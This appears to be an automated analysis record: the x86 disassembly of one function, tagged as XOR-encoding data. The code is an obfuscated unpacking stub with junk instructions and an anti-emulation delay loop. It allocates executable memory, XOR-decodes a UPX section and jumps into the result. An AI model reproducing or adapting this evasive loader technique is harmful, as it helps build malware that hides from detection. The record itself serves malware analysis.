Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x372f24dc
and edi, edi
mov edi, ebx
popal
inc ebx
sub ebx, 0x8c3702cf
sub edi, 0xb3d35839
mov edx, 0
mov eax, ebx
not edi
and edi, edi
and ecx, edi
mov esi, eax
add ecx, 1
sub edi, ecx
or edi, edi
mov ebx, esi
add edi, 1
mov edi, ecx
inc edx
mov edi, 0xebdf9c1f
add ecx, ecx
cmp edx, 0x100ca8a
jne 0xa789c9
not edi
add ecx, ecx
not ecx
or ebx, edi
inc edi
mov edx, 0xa78796
inc ebx
and eax, ebx
mov ecx, 0xa7898a
not esi
sub eax, 1
mov edi, dword [edx]
inc esi
mov ebx, eax
and edi, 0xff
inc ebx
sub ebx, esi
mov eax, 0xf051ced5
xor dword [ecx], edi
and esi, esi
sub ebx, eax
inc ecx
or esi, ebx
and eax, esi
inc edx
or ebx, eax
or ebx, ebx
or ebx, ebx
cmp ecx, entry0
jl 0xa78a19
dec esi
and eax, esi
and ebx, ebx
add eax, 0x13deb688
dec ebx
add eax, 0xcee0db7d
add esi, 0xabc39b1f
sub edi, edx
mov ecx, 0xa7898e
add ebx, 1
mov edx, edi
mov ecx, dword [ecx]
sub edx, esi
dec edi
inc esi
mov ecx, dword [ecx]
mov edx, ebx
sub edi, 0x73d890f2
push ecx
mov esi, edx
not edx
mov ecx, 0xa7898a
dec esi
dec ebx
mov ecx, dword [ecx]
inc edi
sub edi, esi
mov esi, edi
mov ecx, dword [ecx]
mov esi, 0x1881a3b9
and esi, ebx
mov esi, 0x737a2a5c
push 0xa78992
inc esi
mov esi, ebx
call ecx
sub ebx, edi
and esi, edi
dec ebx
mov ecx, dword [esp]
add esp, 4
sub edx, esi
mov ebx, esi
sub esi, 0x570f21d1
push 0xa7899f
mov edx, 0x1e8632bb
or edi, ebx
sub ebx, edx
sub esp, 4
mov dword [esp], eax
mov ebx, edi
add ebx, 0x55a3e669
call ecx
add edi, ebx
add edx, 1
add edi, 1
push 0x40
and edi, edx
sub ebx, 1
or esi, edx
push 0x3000
dec edx
dec esi
or edi, esi
push 0x20000d8b
add edx, ebx
mov edx, 0xa92d6c32
sub esp, 4
mov dword [esp], 0
and ebx, esi
sub edi, 0x991165c0
not ebx
call eax
and edi, edx
or edi, edi
dec ebx
add eax, 0x20000cc9
add ebx, 0x5e1777fa
add edi, 0xf69c8afd
mov ecx, 0x14aac225
add edx, 0x6549a6eb
add esi, ebx
dec edx
mov dword [eax], ecx
sub esi, ebx
mov edi, edx
mov ecx, dword [eax]
mov edx, 0x6883f6d
not edx
cmp ecx, 0x14aac225
je 0xa78b6a
mov edx, 0
mov dword [edx], eax
inc edx
add edi, edi
dec esi
mov esi, ebx
sub edi, 0x2903ab81
not ebx
mov esi, section.UPX1
mov edi, ebx
sub ebx, 0x9b27f961
and edi, edi
mov eax, 0xa78795
dec edi
mov ebx, 0x70513984
or edi, ebx
mov edx, 0
add edi, edi
add ebx, 0x4643ab43
or edi, edi
mov ecx, 0xa78796
not ebx
dec ebx
lea ecx, [edx + ecx]
and ebx, edi
add edi, 0x12b2a0a9
add ebx, ebx
mov ecx, dword [ecx]
mov ebx, 0x286c3d61
add edi, ebx
and ecx, 0xff
mov ebx, 0xbe730fa9
sub edi, ebx
dec ebx
inc edx
not ebx
mov edi, ebx
dec ebx
cmp edx, 0x1f4
jne 0xa78be2
mov edx, 0
or edi, ebx
mov ebx, 0xff177380
mov ebx, 0x538a427a
sub ebx, edi
xor dword [esi], ecx
not ebx
mov ebx, edi
add esi, 2
mov edi, 0x3e904c79
not edi
not edi
cmp esi, eax
jl 0xa78ba3
mov ebx, edi
sub edi, ebx
add edi, 1
inc ebx
mov edi, section.UPX1
mov esi, edx
or edx, edx
dec edx
mov ecx, section.UPX1
and edx, edx
mov esi, edx
mov eax, 0xa78795
add edx, esi
sub edx, esi
inc edx
mov ebx, 0
add edx, 0x1d4d0f04
mov edx, esi
mov bl, byte [ecx]
or edx, edx
mov esi, edx
inc esi
mov byte [edi], bl
add edx, 0x73aeee90
or edx, edx
not edx
inc edi
mov esi, 0xee0234f0
sub edx, 0xd7b4c20c
add ecx, 2
inc edx
not edx
cmp ecx, eax
jle 0xa78c42
and edx, edx
add esi, 1
or edx, edx
mov ebx, edi
mov ebx, edi
and edi, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
not edi
dec edi
add edi, edi
ret